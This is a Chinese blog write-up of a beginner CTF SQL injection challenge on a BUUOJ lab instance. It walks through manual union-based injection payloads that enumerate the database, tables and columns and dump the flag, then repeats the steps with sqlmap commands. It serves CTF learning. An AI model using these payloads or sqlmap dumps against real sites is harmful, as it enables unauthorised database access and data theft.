Young87

当前位置:首页 >个人收藏

《从0到1:CTFer成长之路》书籍配套题目[第一章 web入门]SQL注入

在这里插入图片描述
这道题没有过滤,超级简单

文章目录


进入环境

手注

在这里插入图片描述

b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1'

在这里插入图片描述

http://b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1%27%20and%201=1%20%23

在这里插入图片描述

id=1%27%20and%201=2%20%23

在这里插入图片描述
说明是字符型注入
然后开始注入

?id=1%27%20order%20by%203%23

在这里插入图片描述

?id=-1%27%20union%20select%201,2,3%23

在这里插入图片描述
确定好了位置

id=-1' union select 1,database(),3%23

在这里插入图片描述
数据库的名字为note
爆表

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note'%23

在这里插入图片描述
爆列

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23

在这里插入图片描述
查看记录

?id=-1' union select 1,group_concat(fllllag ),3 from fl4g%23

在这里插入图片描述
n1book{union_select_is_so_cool}

sqlmap跑

用sqlmap 跑一跑
在这里插入图片描述

./sqlmap.py -u http://b0658771-a130-4835-bb40-f6cca649bccf.node3.buuoj.cn/index.php?id=1 --dbs

在这里插入图片描述

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note --tables

在这里插入图片描述

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note -T fl4g --columns

在这里插入图片描述

./sqlmap.py -u http://f8e4ff84-eb1c-42f3-b2ff-cacd39b34230.node3.buuoj.cn/index.php?id=1 -D note -T fl4g -C fllllag --dump

在这里插入图片描述
n1book{union_select_is_so_cool}

除特别声明,本站所有文章均为原创,如需转载请以超级链接形式注明出处:SmartCat's Blog

上一篇: 前向传播和反向传播_卷积神经网络(CNN)反向传播算法推导

下一篇: 杨幂离婚2年后,意外曝露“隐藏实力”:所有的赢家,都是蓄谋已久!

精华推荐